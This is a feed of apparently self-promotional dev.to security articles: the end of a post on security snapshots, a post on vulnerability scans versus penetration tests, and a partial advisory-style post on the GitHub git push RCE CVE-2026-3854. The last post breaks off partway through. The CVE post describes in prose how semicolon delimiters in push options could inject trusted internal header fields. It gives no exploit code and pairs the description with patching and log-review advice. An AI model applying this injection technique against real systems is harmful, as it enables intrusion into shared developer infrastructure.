&lt;td&gt;&lt;strong&gt;Best for&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Quick repeatable checks&lt;/td&gt;
&lt;td&gt;Triage and readiness&lt;/td&gt;
&lt;td&gt;Customer assurance, sensitive apps&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The right choice depends on what you need to prove. A snapshot is a reasonable starting point for many small teams. A properly scoped penetration test is more appropriate when customers need formal assurance, or when your application handles sensitive workflows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why developers should care about the boundaries
&lt;/h2&gt;

&lt;p&gt;Developers are often the people who have to fix the findings, explain the trade-offs, and prioritize work against product deadlines.&lt;/p&gt;

&lt;p&gt;Clear scope protects everyone.&lt;/p&gt;

&lt;p&gt;If a snapshot says "this endpoint appears externally exposed," that is useful. If it claims "your API authorization model is safe" without authenticated role testing, that is misleading.&lt;/p&gt;

&lt;p&gt;If a scan reports a missing header, that may be a quick fix. If a penetration test finds an authorization flaw between tenant accounts, that requires deeper engineering attention.&lt;/p&gt;

&lt;p&gt;Knowing the difference helps teams avoid both overreaction and false confidence.&lt;/p&gt;

&lt;h2&gt;
  
  
  Good questions to ask before any review
&lt;/h2&gt;

&lt;p&gt;Before requesting any kind of security assessment, ask:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What exactly is in scope?&lt;/li&gt;
&lt;li&gt;Is testing external-only or authenticated?&lt;/li&gt;
&lt;li&gt;Will the reviewer attempt exploitation, or only passive and low-impact checks?&lt;/li&gt;
&lt;li&gt;How will findings be validated?&lt;/li&gt;
&lt;li&gt;What evidence will be included in the report?&lt;/li&gt;
&lt;li&gt;What is explicitly out of scope?&lt;/li&gt;
&lt;li&gt;What should not be submitted — passwords, secrets, customer data?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For small teams, these questions are often more important than the label attached to the service.&lt;/p&gt;

&lt;h2&gt;
  
  
  A practical way to use a snapshot
&lt;/h2&gt;

&lt;p&gt;The best use of a lightweight snapshot is not to treat it as the final answer. Use it as a starting point:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Identify obvious external weaknesses&lt;/li&gt;
&lt;li&gt;Fix what can be fixed quickly&lt;/li&gt;
&lt;li&gt;Decide whether deeper testing is needed&lt;/li&gt;
&lt;li&gt;Prepare for a paid assessment if the risk level justifies it&lt;/li&gt;
&lt;li&gt;Improve the quality of evidence you can show customers or partners&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This turns a snapshot into a first step toward better security posture — not a substitute for proper security work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final takeaway
&lt;/h2&gt;

&lt;p&gt;A security snapshot is useful when it is honest about its limits.&lt;/p&gt;

&lt;p&gt;It can show you what is visible from the outside, highlight avoidable exposure, and help you prioritize the next step. It should not be confused with a full penetration test, a compliance audit, or any kind of security guarantee.&lt;/p&gt;

&lt;p&gt;For developers and small teams, that clarity is the real value.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you want to see what a snapshot looks like in practice, WardenBit is running a limited Free Security Snapshot for selected public-facing websites, web apps, APIs, and ecommerce sites. It is a focused external review — not a free penetration test.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Apply here: &lt;a href="https://wardenbit.com/free-security-snapshot.html?utm_source=devto&amp;amp;utm_medium=article&amp;amp;utm_campaign=free_security_snapshot_launch&amp;amp;utm_content=educational_snapshot_limits" rel="noopener noreferrer"&gt;wardenbit.com/free-security-snapshot&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>appsec</category>
    </item>
    <item>
      <title>Vulnerability Scan vs Penetration Test: What Small Teams Actually Need</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Thu, 07 May 2026 14:51:00 +0000</pubDate>
      <link>https://dev.to/stanleya/vulnerability-scan-vs-penetration-test-what-small-teams-actually-need-45mg</link>
      <guid>https://dev.to/stanleya/vulnerability-scan-vs-penetration-test-what-small-teams-actually-need-45mg</guid>
      <description>&lt;p&gt;&lt;em&gt;This article is written for developers and small engineering teams comparing automated vulnerability scanning with human-reviewed penetration testing in the real world.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You passed a security scan. Congrats — now, can someone actually break your app?&lt;/p&gt;

&lt;p&gt;Those are different questions. Most small teams treat them as the same one, and that is where the trouble starts.&lt;/p&gt;

&lt;p&gt;"Vulnerability scan" and "penetration test" get used interchangeably. They are not the same thing, they do not answer the same question, and buying the wrong one for your situation wastes money while leaving real risk on the table.&lt;/p&gt;

&lt;p&gt;Here is how to think through the difference.&lt;/p&gt;

&lt;h2&gt;
  
  
  The short version
&lt;/h2&gt;

&lt;p&gt;A &lt;strong&gt;vulnerability scan&lt;/strong&gt; is breadth-first. It checks for known issues across a target or codebase, largely through automation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Outdated software and libraries&lt;/li&gt;
&lt;li&gt;Missing patches and known CVEs&lt;/li&gt;
&lt;li&gt;Common misconfigurations&lt;/li&gt;
&lt;li&gt;Exposed ports and services&lt;/li&gt;
&lt;li&gt;Obvious web flaws that match signatures&lt;/li&gt;
&lt;li&gt;Dependency and container issues&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A &lt;strong&gt;penetration test&lt;/strong&gt; is narrower and more manual. It asks how an attacker would actually move through the application — through authentication flows, API surfaces, privilege boundaries, and business logic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can one user access another user's data?&lt;/li&gt;
&lt;li&gt;Can a normal account perform admin actions?&lt;/li&gt;
&lt;li&gt;Can checkout, pricing, or approval logic be abused?&lt;/li&gt;
&lt;li&gt;Can an API be manipulated beyond what the UI allows?&lt;/li&gt;
&lt;li&gt;Can low-severity weaknesses be chained into a real exploit path?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The simplest way to remember it: &lt;strong&gt;a scan finds candidates, a pentest validates attack paths.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That difference is what determines which one you actually need.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a vulnerability scan is good at
&lt;/h2&gt;

&lt;p&gt;Scanners are useful. Every small team should understand that up front — if you run internet-facing systems and you are not scanning them at all, you are probably leaving easy wins on the table.&lt;/p&gt;

&lt;p&gt;A decent scanner helps you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Catch known issues early, before they pile up&lt;/li&gt;
&lt;li&gt;Identify missing security headers or weak TLS settings&lt;/li&gt;
&lt;li&gt;Surface unpatched components and dependencies&lt;/li&gt;
&lt;li&gt;Find exposed admin panels or forgotten services&lt;/li&gt;
&lt;li&gt;Keep a repeatable baseline across CI, staging, and production&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The key word is &lt;em&gt;repeatable&lt;/em&gt;. Scans are fast, cheap relative to manual testing, and they fit normal engineering workflows. You can run them every build, every week, or every time infrastructure changes.&lt;/p&gt;

&lt;p&gt;For small teams, that repeatability matters — security work tends to lose when it depends on someone remembering to do it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where scans fall short
&lt;/h2&gt;

&lt;p&gt;The biggest problem with scans is not that they are bad. It is that a clean scan is too often mistaken for real assurance.&lt;/p&gt;

&lt;p&gt;A clean scan means the scanner did not detect a known issue &lt;em&gt;in the way it knows how to detect it.&lt;/em&gt; That leaves a lot of room for important misses.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Business logic is usually outside scanner depth
&lt;/h3&gt;

&lt;p&gt;Scanners are not built to ask questions like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can a user apply a discount twice by reordering API calls?&lt;/li&gt;
&lt;li&gt;Can an approval flow be bypassed by changing one parameter?&lt;/li&gt;
&lt;li&gt;Can a user pull another tenant's invoice by incrementing an object ID?&lt;/li&gt;
&lt;li&gt;Can a checkout state machine be pushed into an invalid but accepted state?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are common places where real damage happens — and the bug is often not a classic "vulnerability" in the scanner sense. Sometimes the application is doing exactly what it was coded to do, just in a way nobody intended.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Authentication and authorization flaws need context
&lt;/h3&gt;

&lt;p&gt;Broken access control is one of the most common high-impact issues in modern web apps and APIs. A scanner might flag a missing auth header on an obvious endpoint. What it cannot do well is reason through role boundaries, record ownership, tenant isolation, delegated access, and edge cases around session state.&lt;/p&gt;

&lt;p&gt;That work needs a human tester who understands what different user types should and should not be able to do — and what it actually means if they can.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. APIs are easy to underestimate
&lt;/h3&gt;

&lt;p&gt;A lot of teams still think in pages. Attackers think in endpoints.&lt;/p&gt;

&lt;p&gt;If your frontend is thin and the real logic lives in APIs, scanners may only scratch the surface unless configured carefully and backed by manual review. Even then, they often miss:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Object-level authorization issues (IDOR)&lt;/li&gt;
&lt;li&gt;Sequence abuse and workflow manipulation&lt;/li&gt;
&lt;li&gt;Hidden functionality not reachable from the UI&lt;/li&gt;
&lt;li&gt;Rate-limit bypasses with business impact&lt;/li&gt;
&lt;li&gt;Parameter tampering that only matters in context&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Chained attacks do not show up cleanly
&lt;/h3&gt;

&lt;p&gt;A low-risk misconfiguration plus a weak role check plus an over-trusting API response may add up to a serious exploit path. Scanners report findings one by one. Attackers do not.&lt;/p&gt;

&lt;p&gt;This is one of the clearest gaps between automated detection and real security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a penetration test is supposed to add
&lt;/h2&gt;

&lt;p&gt;A real penetration test adds judgment.&lt;/p&gt;

&lt;p&gt;The tester is not just collecting findings — they are trying to understand the application, where trust lives, how data moves, and what an attacker could realistically achieve given real access.&lt;/p&gt;

&lt;p&gt;For a small software team, the useful outputs usually look like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Confirmed exploit paths, not just raw alerts&lt;/li&gt;
&lt;li&gt;Fewer false positives to wade through&lt;/li&gt;
&lt;li&gt;Better prioritization based on actual business impact&lt;/li&gt;
&lt;li&gt;Evidence that a specific customer-facing risk was genuinely tested&lt;/li&gt;
&lt;li&gt;Remediation guidance tied to how &lt;em&gt;your&lt;/em&gt; app actually works&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last part matters more than it sounds. "Upgrade package X" is useful when package X is the problem. "Your account recovery flow can be abused to take over accounts under these conditions" is a different class of finding — it tells you something about how the system behaves, not just what version it runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  When a scan is probably enough
&lt;/h2&gt;

&lt;p&gt;Small teams do not need to treat every security task as a formal pentest engagement. A scan may be the right call — at least for now — when most of these are true:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The app is simple and low-risk&lt;/li&gt;
&lt;li&gt;There is little or no sensitive customer data&lt;/li&gt;
&lt;li&gt;Authentication is limited and user roles are minimal&lt;/li&gt;
&lt;li&gt;There is no complicated business workflow&lt;/li&gt;
&lt;li&gt;The main goal is routine hygiene and known-issue detection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A mostly static marketing site with a contact form&lt;/li&gt;
&lt;li&gt;A simple internal tool with a small user base and limited privileges&lt;/li&gt;
&lt;li&gt;A low-complexity API in early development where the main need is basic hygiene&lt;/li&gt;
&lt;li&gt;Pre-production environments needing frequent automated coverage while the product is still changing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In those cases, a scan is not a cop-out. It may be exactly the right first control. The mistake is treating it as the final answer indefinitely.&lt;/p&gt;

&lt;h2&gt;
  
  
  When a penetration test is the better fit
&lt;/h2&gt;

&lt;p&gt;Manual testing becomes much easier to justify when any of these apply:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Customers upload or access sensitive data&lt;/li&gt;
&lt;li&gt;The app has multiple roles or tenants&lt;/li&gt;
&lt;li&gt;The system handles account, billing, or admin workflows&lt;/li&gt;
&lt;li&gt;There is a meaningful API surface behind the UI&lt;/li&gt;
&lt;li&gt;You need evidence for enterprise customers, procurement, or due diligence&lt;/li&gt;
&lt;li&gt;A bug in the wrong place could enable fraud, data exposure, or privilege escalation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Common examples:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Customer portals and B2B SaaS with tenant boundaries&lt;/li&gt;
&lt;li&gt;Ecommerce stores with account and checkout flows&lt;/li&gt;
&lt;li&gt;Internal admin panels connected to production data&lt;/li&gt;
&lt;li&gt;Partner dashboards and supplier portals&lt;/li&gt;
&lt;li&gt;Apps going through serious enterprise security review&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is where the gap between "scanner clean" and "actually resilient" starts to hurt.&lt;/p&gt;

&lt;h2&gt;
  
  
  The practical middle ground most small teams need
&lt;/h2&gt;

&lt;p&gt;In practice, the right answer is rarely scan &lt;em&gt;or&lt;/em&gt; pentest — it is scan &lt;em&gt;and&lt;/em&gt; pentest, at different depths and on different timelines.&lt;/p&gt;

&lt;p&gt;A sensible setup for a small engineering team often looks like this:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Continuous or frequent scanning&lt;/strong&gt; for baseline coverage:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dependency and container scanning in CI&lt;/li&gt;
&lt;li&gt;External attack-surface checks&lt;/li&gt;
&lt;li&gt;Web scanning for obvious issues&lt;/li&gt;
&lt;li&gt;Secret detection and infrastructure misconfiguration checks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This keeps known problems from piling up quietly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Periodic manual testing&lt;/strong&gt; when the application crosses a risk threshold:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Before a major launch or first enterprise deal&lt;/li&gt;
&lt;li&gt;After significant changes to auth, billing, or permissions&lt;/li&gt;
&lt;li&gt;When an API or admin surface has grown meaningfully complex&lt;/li&gt;
&lt;li&gt;When the product now stores or processes more sensitive data than before&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One practical heuristic: if a security incident would make the front page of your customer's internal risk report, you probably need more than a scan.&lt;/p&gt;

&lt;h2&gt;
  
  
  What small teams often get wrong when buying security testing
&lt;/h2&gt;

&lt;p&gt;The most common mistake is paying for a "pentest" that is mostly a scan with a nicer PDF.&lt;/p&gt;

&lt;p&gt;That usually shows up as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The provider asks almost nothing about roles, workflows, or APIs&lt;/li&gt;
&lt;li&gt;Scoping stays vague&lt;/li&gt;
&lt;li&gt;The report reads like tool output with light editing&lt;/li&gt;
&lt;li&gt;There is little evidence of manual validation&lt;/li&gt;
&lt;li&gt;Findings are generic and hard to map to real business risk&lt;/li&gt;
&lt;li&gt;The timeline seems too short for the scope promised&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Small, focused manual engagements can be perfectly valid — scope matters more than duration. But you should be able to tell what manual work actually happened.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Questions worth asking any provider:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How much authenticated testing is included?&lt;/li&gt;
&lt;li&gt;Will you test multiple user roles?&lt;/li&gt;
&lt;li&gt;How do you approach APIs that sit behind the frontend?&lt;/li&gt;
&lt;li&gt;How much of the work is manual versus automated?&lt;/li&gt;
&lt;li&gt;Do you validate exploitability, or mostly report potential issues?&lt;/li&gt;
&lt;li&gt;What kinds of business logic or authorization flaws are in scope?&lt;/li&gt;
&lt;li&gt;Will the report show evidence and remediation context?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If those questions produce fuzzy answers, the label on the quote matters less than the testing depth behind it.&lt;/p&gt;

&lt;h2&gt;
  
  
  A simple rule of thumb
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Run scans for coverage. Buy pentests for confidence.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Use scans when you want repeatable detection of known issues at low ongoing cost.&lt;/p&gt;

&lt;p&gt;Use pentests when you need a human to answer: &lt;em&gt;"What could somebody actually do with this system?"&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Final takeaway
&lt;/h2&gt;

&lt;p&gt;Vulnerability scans and penetration tests solve different problems, and neither one is a substitute for the other.&lt;/p&gt;

&lt;p&gt;A scan helps you find known issues at scale and keep security hygiene from drifting. A penetration test helps you understand whether your application, API, and workflows can be abused in ways automation is unlikely to model well.&lt;/p&gt;

&lt;p&gt;For small teams, the smartest move is matching the testing method to the risk you actually have — not chasing the most impressive security label on the invoice.&lt;/p&gt;

&lt;p&gt;If the application is simple, a scan may genuinely be enough for now. If the product has real users, real trust boundaries, and real business consequences when something goes wrong, manual testing starts paying for itself quickly.&lt;/p&gt;

&lt;p&gt;At that point, "we already run scans" is not an answer. It is the start of a longer conversation — and the pentest is how you actually finish it.&lt;/p&gt;

&lt;p&gt;If your team is specifically reviewing API security, I also published a practical checklist here:&lt;/p&gt;

&lt;p&gt;API Security Testing Checklist for Software Teams&lt;br&gt;
&lt;a href="https://wardenbit.com/posts/api-security-testing-checklist-for-software-teams.html" rel="noopener noreferrer"&gt;https://wardenbit.com/posts/api-security-testing-checklist-for-software-teams.html&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>startup</category>
    </item>
    <item>
      <title>CVE-2026-3854: What GitHub's Git Push RCE Teaches Developers About Trust Boundaries</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Wed, 29 Apr 2026 11:03:23 +0000</pubDate>
      <link>https://dev.to/stanleya/cve-2026-3854-what-githubs-git-push-rce-teaches-developers-about-trust-boundaries-23do</link>
      <guid>https://dev.to/stanleya/cve-2026-3854-what-githubs-git-push-rce-teaches-developers-about-trust-boundaries-23do</guid>
      <description>&lt;p&gt;A serious vulnerability in GitHub’s Git infrastructure is a useful reminder that security boundaries do not disappear just because traffic is “internal.”&lt;/p&gt;

&lt;p&gt;CVE-2026-3854 was a remote code execution vulnerability in GitHub’s git push processing pipeline. It affected GitHub Enterprise Server and, before GitHub’s mitigation, GitHub.com and GitHub Enterprise Cloud environments. The issue was reported by Wiz through GitHub’s Bug Bounty program and publicly disclosed after fixes were available.&lt;/p&gt;

&lt;p&gt;The technical details are interesting, but the broader lesson is more important for developers: user-controlled data can remain dangerous even after it passes through authenticated workflows, internal protocols, service headers, queues, and trusted backend systems.&lt;/p&gt;

&lt;p&gt;There is also an AI security angle. Wiz described this as one of the first critical vulnerabilities discovered in closed-source binaries using AI-assisted reverse engineering. Their researchers used AI-augmented workflows, including IDA MCP, to analyze compiled components, reconstruct internal protocols, and follow how data moved across GitHub’s Git infrastructure.&lt;/p&gt;

&lt;p&gt;This is not only a GitHub story. It is a trust boundary story. It is also a signal of how AI-assisted security research is changing the way complex systems are analyzed.&lt;/p&gt;

&lt;h2&gt;
  
  
  What happened?
&lt;/h2&gt;

&lt;p&gt;CVE-2026-3854 was an improper neutralization / command injection vulnerability in GitHub’s Git push pipeline.&lt;/p&gt;

&lt;p&gt;According to GitHub and Wiz, the vulnerability involved user-supplied Git push option values. During a &lt;code&gt;git push&lt;/code&gt;, those values were included in internal service headers without sufficient sanitization.&lt;/p&gt;

&lt;p&gt;Because the internal metadata format used a delimiter character that could also appear in user input, an attacker could inject additional metadata fields. Downstream services could then interpret those injected fields as trusted internal values.&lt;/p&gt;

&lt;p&gt;In practical terms, a low-privileged authenticated user with push access to a repository could craft a malicious &lt;code&gt;git push&lt;/code&gt; operation that influenced trusted backend processing.&lt;/p&gt;

&lt;p&gt;The key condition was not:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;admin access&lt;/li&gt;
&lt;li&gt;access to a sensitive private repository&lt;/li&gt;
&lt;li&gt;compromise of an existing organization&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It was simply push access to a repository on the affected platform. In some cases, that could include a repository created by the attacker themselves.&lt;/p&gt;

&lt;p&gt;That detail is what makes this vulnerability so important from a security design perspective.&lt;/p&gt;

&lt;p&gt;GitHub says it received the report on March 4, 2026, reproduced the issue within 40 minutes, identified the root cause later that day, deployed a fix to GitHub.com at 7:00 p.m. UTC, and found no evidence of exploitation beyond Wiz’s testing. GitHub Enterprise Server customers, however, need to upgrade to patched versions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why developers should care
&lt;/h2&gt;

&lt;p&gt;Remote code execution vulnerabilities in major developer platforms are always serious. But CVE-2026-3854 is especially useful as a case study because it combines several patterns that appear in real systems far beyond GitHub:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;authenticated user input entering a backend pipeline&lt;/li&gt;
&lt;li&gt;internal services trusting metadata from other services&lt;/li&gt;
&lt;li&gt;delimiter-based parsing of structured data&lt;/li&gt;
&lt;li&gt;different components interpreting the same data differently&lt;/li&gt;
&lt;li&gt;security-critical behavior controlled by internal fields&lt;/li&gt;
&lt;li&gt;a low-privilege action reaching a high-impact execution path&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Many modern platforms are built as chains of services. A request enters through one component, gets transformed, wrapped, tagged, routed, logged, and processed by several others.&lt;/p&gt;

&lt;p&gt;Somewhere in that chain, data often changes form:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;JSON becomes headers&lt;/li&gt;
&lt;li&gt;headers become environment variables&lt;/li&gt;
&lt;li&gt;metadata becomes command arguments&lt;/li&gt;
&lt;li&gt;request attributes become policy decisions&lt;/li&gt;
&lt;li&gt;events become automation triggers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every transformation is a potential trust boundary.&lt;/p&gt;

&lt;p&gt;CVE-2026-3854 shows what can happen when a value that started as user-controlled input is later treated as trusted internal data.&lt;/p&gt;

&lt;h2&gt;
  
  
  The simplified technical chain
&lt;/h2&gt;

&lt;p&gt;The full GitHub infrastructure is complex, but the vulnerability can be understood through a simplified model.&lt;/p&gt;

&lt;p&gt;A user performs a Git push. Git supports push options, which allow clients to send extra strings to the server as part of the push operation. Those values are legitimate features, not inherently malicious.&lt;/p&gt;

&lt;p&gt;The problem was how those values were handled later.&lt;/p&gt;

&lt;p&gt;The push option values were inserted into an internal metadata format. That format used a delimiter character, such as a semicolon, to separate fields.&lt;/p&gt;

&lt;p&gt;If user input containing that delimiter is not properly escaped, encoded, or rejected, a downstream parser may interpret part of the user input as a separate internal field.&lt;/p&gt;

&lt;p&gt;That is the core injection bug.&lt;/p&gt;

&lt;p&gt;The attacker is no longer merely sending data. They are shaping the structure of the internal message.&lt;/p&gt;

&lt;p&gt;Once that happens, downstream services may treat attacker-controlled fields as trusted fields created by internal infrastructure. If those fields affect how an operation is executed, which environment it runs in, or whether certain sandboxing controls apply, the result can escalate from metadata injection to command execution.&lt;/p&gt;

&lt;p&gt;This is why delimiter injection bugs can be so dangerous. They are not always obvious at the point where input first enters the system. The dangerous behavior often appears several services later.&lt;/p&gt;

&lt;h2&gt;
  
  
  Internal does not mean safe
&lt;/h2&gt;

&lt;p&gt;One of the most common security mistakes in complex platforms is assuming that internal traffic is trustworthy by default.&lt;/p&gt;

&lt;p&gt;That assumption often appears in subtle ways:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Only our backend can set this header.&lt;/p&gt;

&lt;p&gt;This field is generated internally.&lt;/p&gt;

&lt;p&gt;This value has already passed authentication.&lt;/p&gt;

&lt;p&gt;This service is not internet-facing.&lt;/p&gt;

&lt;p&gt;This is just metadata.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The problem is that internal data often contains, reflects, or is derived from external input.&lt;/p&gt;

&lt;p&gt;If a user-controlled value can cross a boundary and become part of an internal protocol, the receiving service must still treat it as untrusted unless there is a strong guarantee that it was safely validated and encoded at the boundary.&lt;/p&gt;

&lt;p&gt;Authentication does not solve this. A signed-in user can still be malicious. A low-privilege user can still send unexpected input. A user with access to their own repository can still attack shared infrastructure if the platform processes their request in a shared backend environment.&lt;/p&gt;

&lt;p&gt;Authorization answers whether a user is allowed to perform an action.&lt;/p&gt;

&lt;p&gt;It does &lt;strong&gt;not&lt;/strong&gt; prove that every field attached to that action is safe to embed into internal commands, headers, environment variables, or policy controls.&lt;/p&gt;

&lt;h2&gt;
  
  
  Defense in depth still matters
&lt;/h2&gt;

&lt;p&gt;GitHub’s post includes another important lesson: the exploit worked partly because the server had access to a code path that was not intended for that environment.&lt;/p&gt;

&lt;p&gt;In other words, the input handling bug was the primary issue, but the impact was amplified because unnecessary execution paths were still present where they should not have been.&lt;/p&gt;

&lt;p&gt;That is a useful reminder for application teams. Sanitization, validation, and encoding are critical, but they are not the whole story. Systems should also reduce what dangerous capabilities are available in the first place.&lt;/p&gt;

&lt;p&gt;Practical examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;removing unused binaries and scripts from production images&lt;/li&gt;
&lt;li&gt;disabling hooks or plugins where they are not needed&lt;/li&gt;
&lt;li&gt;narrowing service account permissions&lt;/li&gt;
&lt;li&gt;separating tenant data from execution environments&lt;/li&gt;
&lt;li&gt;keeping debug or admin-only paths out of normal runtime contexts&lt;/li&gt;
&lt;li&gt;making dangerous code paths fail closed when reached unexpectedly&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Defense in depth is not about assuming the first control will fail. It is about making sure one bug does not become a full system compromise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Source control is critical infrastructure
&lt;/h2&gt;

&lt;p&gt;A vulnerability in a source control platform is not just a server compromise. It can become a supply-chain incident.&lt;/p&gt;

&lt;p&gt;Source code platforms often contain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;proprietary application code&lt;/li&gt;
&lt;li&gt;deployment scripts&lt;/li&gt;
&lt;li&gt;CI/CD configuration&lt;/li&gt;
&lt;li&gt;access tokens&lt;/li&gt;
&lt;li&gt;private package references&lt;/li&gt;
&lt;li&gt;infrastructure-as-code templates&lt;/li&gt;
&lt;li&gt;secrets accidentally committed to repositories&lt;/li&gt;
&lt;li&gt;release automation workflows&lt;/li&gt;
&lt;li&gt;security tooling configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If an attacker compromises a Git platform, the impact may extend beyond confidentiality. They may be able to alter code, tamper with build pipelines, introduce malicious dependencies, or access credentials used to deploy into production environments.&lt;/p&gt;

&lt;p&gt;That is why organizations should treat source control infrastructure as critical infrastructure.&lt;/p&gt;

&lt;p&gt;For GitHub.com and GitHub Enterprise Cloud users, GitHub says the affected services were patched on March 4, 2026 and that no action is required. For GitHub Enterprise Server operators, the risk depends on whether their instance has been updated and whether any suspicious activity occurred before patching.&lt;/p&gt;

&lt;h2&gt;
  
  
  What GitHub Enterprise Server administrators should do
&lt;/h2&gt;

&lt;p&gt;If your organization runs GitHub Enterprise Server, this should be treated as an urgent patching event.&lt;/p&gt;

&lt;p&gt;GitHub recommends upgrading to the latest available patch release. The fixed GHES release lines referenced by GitHub and NVD include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub Enterprise Server 3.14.25 or later&lt;/li&gt;
&lt;li&gt;GitHub Enterprise Server 3.15.20 or later&lt;/li&gt;
&lt;li&gt;GitHub Enterprise Server 3.16.16 or later&lt;/li&gt;
&lt;li&gt;GitHub Enterprise Server 3.17.13 or later&lt;/li&gt;
&lt;li&gt;GitHub Enterprise Server 3.18.7 or later&lt;/li&gt;
&lt;li&gt;GitHub Enterprise Server 3.19.4 or later&lt;/li&gt;
&lt;li&gt;GitHub Enterprise Server 3.20.0 or later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some advisory sources and early references mentioned earlier patch-level numbers. Do not stop at the first minimum version you see in an older advisory if a newer security release is available. Upgrade to the latest patched release in your supported branch.&lt;/p&gt;

&lt;p&gt;After upgrading, administrators should review logs and recent activity. GitHub’s guidance specifically points to audit log review, including:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/log/github-audit.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Push options containing delimiter characters, especially semicolons, deserve attention in this context.&lt;/p&gt;

&lt;p&gt;A reasonable response checklist includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;confirm the current GHES version&lt;/li&gt;
&lt;li&gt;upgrade to a patched release&lt;/li&gt;
&lt;li&gt;review audit logs for unusual &lt;code&gt;git push&lt;/code&gt; activity&lt;/li&gt;
&lt;li&gt;investigate suspicious push options or delimiter-heavy metadata&lt;/li&gt;
&lt;li&gt;review recently created repositories and low-privilege accounts with push access&lt;/li&gt;
&lt;li&gt;check for unexpected hooks, service behavior, or backend process execution&lt;/li&gt;
&lt;li&gt;rotate sensitive credentials if compromise cannot be ruled out&lt;/li&gt;
&lt;li&gt;review CI/CD secrets, deployment keys, GitHub App credentials, and cloud tokens&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If an exposed GHES instance remained unpatched after public disclosure, it should be handled with a higher level of suspicion.&lt;/p&gt;

&lt;h2&gt;
  
  
  The AI-assisted research angle
&lt;/h2&gt;

&lt;p&gt;One detail makes this vulnerability especially relevant to modern security teams: Wiz did not discover it through a traditional source-code review. GitHub Enterprise Server includes closed-source compiled components, which historically made this kind of deep analysis slow and difficult.&lt;/p&gt;

